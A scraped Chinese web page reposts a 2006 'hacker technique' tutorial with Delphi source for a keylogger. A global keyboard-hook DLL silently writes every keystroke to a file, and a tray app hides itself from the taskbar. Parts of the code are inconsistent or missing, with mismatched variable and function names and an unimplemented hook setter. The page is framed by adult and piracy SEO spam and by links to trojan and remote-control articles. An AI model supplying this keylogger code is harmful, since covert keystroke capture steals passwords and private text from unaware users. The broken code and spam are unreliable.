国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號(hào)

黑客技術(shù):利用Hook技術(shù)實(shí)現(xiàn)鍵盤監(jiān)控
2006-08-02   賽迪網(wǎng)技術(shù)社區(qū)

在許多系統(tǒng)中,出于安全或其它原因,常常要求隨時(shí)對(duì)鍵盤進(jìn)行監(jiān)控,一個(gè)專業(yè)的監(jiān)控程序必須具備兩點(diǎn),一是實(shí)時(shí);二是作為指示圖標(biāo)運(yùn)行。實(shí)際應(yīng)用中把利用Hook(即鉤子)技術(shù)編寫的應(yīng)用程序添加到Windows的任務(wù)欄的指示區(qū)中就能夠很好的達(dá)到這個(gè)目的。我在參考了API幫助文檔基礎(chǔ)上,根據(jù)在Delphi開(kāi)發(fā)環(huán)境中的具體實(shí)現(xiàn)分別對(duì)這兩部分進(jìn)行詳細(xì)論述。

一、Hook(鉤子)的實(shí)現(xiàn):

---- Hook是應(yīng)用程序在Microsoft Windows 消息處理過(guò)程中設(shè)置的用來(lái)監(jiān)控消息流并且處理系統(tǒng)中尚未到達(dá)目的窗口的某一類型消息過(guò)程的機(jī)制。如果Hook過(guò)程在應(yīng)用程序中實(shí)現(xiàn),若應(yīng)用程序不是當(dāng)前窗口時(shí),該Hook就不起作用;如果Hook在DLL中實(shí)現(xiàn),程序在運(yùn)行中動(dòng)態(tài)調(diào)用它,它能實(shí)時(shí)對(duì)系統(tǒng)進(jìn)行監(jiān)控。根據(jù)需要,我們采用的是在DLL中實(shí)現(xiàn)Hook的方式。

---- 1.新建一個(gè)導(dǎo)出兩個(gè)函數(shù)的DLL文件,在hookproc.pas中定義了鉤子具體實(shí)現(xiàn)過(guò)程。代碼如下:

library keyspy;

uses

windows, messages, hookproc in ’hookproc.pas’;

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.

2.在Hookproc.pas中實(shí)現(xiàn)了鉤子具體過(guò)程:

unit hookproc;

interface

uses

Windows, Messages, SysUtils, Controls, StdCtrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加載鉤子

function endkeyhook:bool;export;//卸載鉤子

procedure keyhookexit;far;

const

afilename=’c:debug.txt’;//將鍵盤輸入動(dòng)作寫入文件中

var

debugfile:textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

begin

if icode<0 then

begin

result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

exit;

end;

assignfile(debugfile,afilename);

append(debugfile);

if getkeystate(vk_return)<0 then

begin

writeln(debugfile,’’);

write(debugfile,char(wparam));

end

else

write(debugfile,char(wparam));

closefile(debugfile);

result:=0;

end;

function endkeyhook:bool;export;

begin

if nexthookproc<>0 then begin

unhookwindowshookex(nexthookproc);

nexthookproc:=0;

messagebeep(0); end;

result:=hnexthookproc=0;

end;

procedure keyhookexit;far;

begin

if nexthookproc<>0 then endkeyhook;

exitproc:=procsaveexit; end;

end.

---- 二、Win95/98使用任務(wù)欄右方指示區(qū)來(lái)顯示應(yīng)用程序或工具圖標(biāo)對(duì)指示區(qū)圖標(biāo)的操作涉及了一個(gè)API函數(shù)Shell_NotifyIcon,它有兩個(gè)參數(shù),一個(gè)是指向TnotifyIconData結(jié)構(gòu)的指針,另一個(gè)是要添加、刪除、改動(dòng)圖標(biāo)的標(biāo)志。通過(guò)該函函數(shù)將應(yīng)用程序的圖標(biāo)添加到指示區(qū)中,使其作為圖標(biāo)運(yùn)行,增加專業(yè)特色。當(dāng)程序起動(dòng)后,用鼠標(biāo)右鍵點(diǎn)擊圖標(biāo),則彈出一個(gè)菜單,可選擇sethook或endhook。

unit kb;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms,

Dialogs,

StdCtrls, Menus,shellapi;

const

icon_id=1;

MI_iconevent=wm_user+1;//定義一個(gè)用戶消息

type

TForm1 = class(TForm)

PopupMenu1: TPopupMenu;

sethook1: TMenuItem;

endhook1: TMenuItem;

N1: TMenuItem;

About1: TMenuItem;

Close1: TMenuItem;

Gettext1: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure sethook1Click(Sender: TObject);

procedure endhook1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Close1Click(Sender: TObject);

private

{ Private declarations }

nid:tnotifyicondata;

normalicon:ticon;

public

{ Public declarations }

procedure icontray(var msg:tmessage);

message mi_iconevent;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function setkeyhook:bool;external ’keyspy.dll’;

function endkeyhook:bool;external ’keyspy.dll’;

procedure tform1.icontray(var msg:tmessage);

var

pt:tpoint;

begin

if msg.lparam=wm_lbuttondown then

sethook1click(self);

if msg.LParam=wm_rbuttondown then

begin

getcursorpos(pt);

setforegroundwindow(handle);

popupmenu1.popup(pt.x,pt.y);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

normalicon:=ticon.create;

application.title:=caption;

nid.cbsize:=sizeof(nid);

nid.wnd:=handle;

nid.uid:=icon_id;

nid.uflags:=nif_icon or nif_message or nif_tip;

nid.ucallbackmessage:=mi_iconevent;

nid.hIcon :=normalicon.handle;

strcopy(nid.sztip,pchar(caption));

nid.uFlags:=nif_message or nif_icon or nif_tip;

shell_notifyicon(nim_add,@nid);

SetWindowLong(Application.Handle,

GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedure TForm1.sethook1Click(Sender: TObject);

begin

setkeyhook;

end;

procedure TForm1.endhook1Click(Sender: TObject);

begin

endkeyhook;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

nid.uFlags :=0;

shell_notifyicon(nim_delete,@nid);

end;

procedure TForm1.Close1Click(Sender: TObject);

begin

application.terminate;

end;

---- 該程序雖然只用了幾個(gè)shellai函數(shù),但是它涉及到了在Delphi中對(duì)DLL的引用、鉤子實(shí)現(xiàn)、對(duì)指示區(qū)的操作、用戶定義消息的處理、文件的讀寫等比較重要的內(nèi)容,我相信這篇文章能對(duì)許多Delphi的初學(xué)者有所幫助。

---- 該程序在Win98、Delphi4.0中正常運(yùn)行。

本欄文章均來(lái)自于互聯(lián)網(wǎng),版權(quán)歸原作者和各發(fā)布網(wǎng)站所有,本站收集

熱詞搜索:

上一篇:木馬高招:灰鴿子注冊(cè)成系統(tǒng)服務(wù)的方法
下一篇:MSHTA漏洞為黑客大開(kāi)遠(yuǎn)程控制之門

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
久久精品无码一区二区三区| 久久99国产精品尤物| 中文字幕一区日韩精品欧美| 久久麻豆一区二区| 久久精品一区二区三区av| 日韩欧美亚洲国产精品字幕久久久| 欧美精品18+| 欧美一区欧美二区| 欧美大片日本大片免费观看| 欧美tk丨vk视频| 日韩精品在线看片z| 欧美r级电影在线观看| 精品女同一区二区| 久久精品这里都是精品| 国产精品午夜电影| 亚洲欧美色一区| 亚洲色图在线播放| 亚洲国产精品综合小说图片区| 亚洲永久精品大片| 亚洲成人av电影| 日本aⅴ精品一区二区三区| 免费视频一区二区| 韩日av一区二区| 床上的激情91.| 99国产欧美另类久久久精品| 欧美在线999| 欧美精品三级日韩久久| 精品日产卡一卡二卡麻豆| 久久夜色精品国产噜噜av| 国产精品美女一区二区| 亚洲精品大片www| 日本视频免费一区| 国产成人综合亚洲网站| 91免费观看视频| 欧美日韩国产乱码电影| 日韩你懂的在线播放| 日本一区二区三区dvd视频在线| 成人欧美一区二区三区| 偷拍自拍另类欧美| 国产呦萝稀缺另类资源| 色综合欧美在线| 91精品国产综合久久小美女| 欧美国产一区二区| 午夜私人影院久久久久| 国产精品一区二区三区99| 成人av在线播放网址| 欧美日韩精品一区视频| 2020国产精品| 亚洲已满18点击进入久久| 六月丁香婷婷色狠狠久久| 成人教育av在线| 欧美日韩精品一区视频| 国产日韩在线不卡| 丝瓜av网站精品一区二区 | 麻豆精品视频在线观看视频| 成人免费视频app| 欧美日韩国产不卡| 精品国产一区二区三区忘忧草 | 波多野结衣在线aⅴ中文字幕不卡| 91视频.com| 欧美丰满一区二区免费视频 | 亚洲精品乱码久久久久久久久 | 欧美一区二区三区人| 国产区在线观看成人精品| 亚洲女女做受ⅹxx高潮| 六月丁香婷婷色狠狠久久| av激情成人网| 欧美一区二区精品久久911| 国产日韩精品一区二区三区| 午夜国产精品影院在线观看| 国产精品99久久久久久有的能看| 色域天天综合网| 欧美久久一二区| 亚洲国产高清在线| 五月激情综合色| 91在线观看免费视频| 日韩三级视频中文字幕| 亚洲欧洲精品天堂一级| 韩国一区二区在线观看| 欧美唯美清纯偷拍| 欧美韩国日本一区| 蜜桃精品视频在线| 色999日韩国产欧美一区二区| 欧美丰满美乳xxx高潮www| 88在线观看91蜜桃国自产| 国产三级欧美三级日产三级99| 亚洲成人黄色影院| 岛国一区二区在线观看| 91麻豆精品国产91久久久资源速度| 久久久国产精品午夜一区ai换脸| 一区二区三区中文字幕精品精品| 国产suv精品一区二区883| 欧美一级搡bbbb搡bbbb| 夜夜爽夜夜爽精品视频| 成人不卡免费av| 久久久蜜桃精品| 久久综合综合久久综合| 欧美日韩国产高清一区二区| 国产精品九色蝌蚪自拍| 国产一区二区三区久久久| 日韩一区二区三区视频在线| 亚洲欧美另类小说| 92国产精品观看| 亚洲国产精品黑人久久久| 久久99精品久久只有精品| 欧美精品成人一区二区三区四区| 一区二区三区视频在线观看| 成人app在线| 国产精品三级在线观看| 国产精品1区2区| 精品国产乱码久久久久久浪潮| 亚洲成人自拍一区| 色呦呦日韩精品| 亚洲天堂免费在线观看视频| 成人短视频下载| 国产女人水真多18毛片18精品视频| 久久99热99| 亚洲精品在线观看视频| 精品亚洲aⅴ乱码一区二区三区| 欧美一区二区三区视频| 日韩中文欧美在线| 3d成人h动漫网站入口| 中文字幕一区二区三区蜜月| 91小视频免费观看| 亚洲免费看黄网站| 日本道在线观看一区二区| 亚洲综合色区另类av| 欧美影院精品一区| 亚洲午夜一区二区| 91精品国产综合久久精品| 秋霞午夜av一区二区三区| 欧美一区二区三区的| 亚洲精品成人少妇| 一本色道**综合亚洲精品蜜桃冫| 亚洲天堂福利av| 欧美视频在线观看一区| 亚洲风情在线资源站| 欧美一级精品在线| 精品一区二区免费| 中文字幕 久热精品 视频在线| 成人黄色软件下载| 国产精品成人免费| 99精品欧美一区二区三区综合在线| **性色生活片久久毛片| 91福利视频久久久久| 日韩成人精品在线| 久久综合资源网| 成人性生交大片免费看视频在线| 亚洲男人的天堂av| 欧美日韩专区在线| 久久99精品久久只有精品| 久久综合五月天婷婷伊人| 成人黄页毛片网站| 亚洲国产你懂的| 精品国产一区二区亚洲人成毛片 | 国产成人久久精品77777最新版本| 国产欧美精品日韩区二区麻豆天美| www.欧美精品一二区| 亚洲小说春色综合另类电影| 日韩精品专区在线影院观看 | 91香蕉视频污| 日本不卡一区二区| 欧美激情一区二区| 91免费视频观看| 七七婷婷婷婷精品国产| 国产亚洲综合性久久久影院| 日本久久一区二区三区| 男男视频亚洲欧美| 国产日韩v精品一区二区| 欧美日韩亚洲丝袜制服| 国产精品1024久久| 亚洲人成7777| 久久在线观看免费| 在线观看日韩电影| 国产成人在线视频网站| 中文字幕在线不卡视频| 91丨九色丨黑人外教| 亚洲免费av网站| 日韩欧美一二三四区| 色欧美片视频在线观看在线视频| 激情欧美一区二区三区在线观看| 亚洲视频网在线直播| 久久综合久久99| 7777精品伊人久久久大香线蕉经典版下载 | 97久久精品人人爽人人爽蜜臀| 日韩高清不卡一区二区三区| 中文字幕一区二区三区不卡| 日韩欧美国产1| 9色porny自拍视频一区二区| 免费观看在线综合| 一区二区高清免费观看影视大全 | 欧美第一区第二区| 欧美在线免费观看亚洲| 丁香六月综合激情| 美女视频黄频大全不卡视频在线播放| 亚洲欧洲制服丝袜| 欧美高清你懂得| 91女厕偷拍女厕偷拍高清| 国产一区二区在线电影| 久久久99精品久久|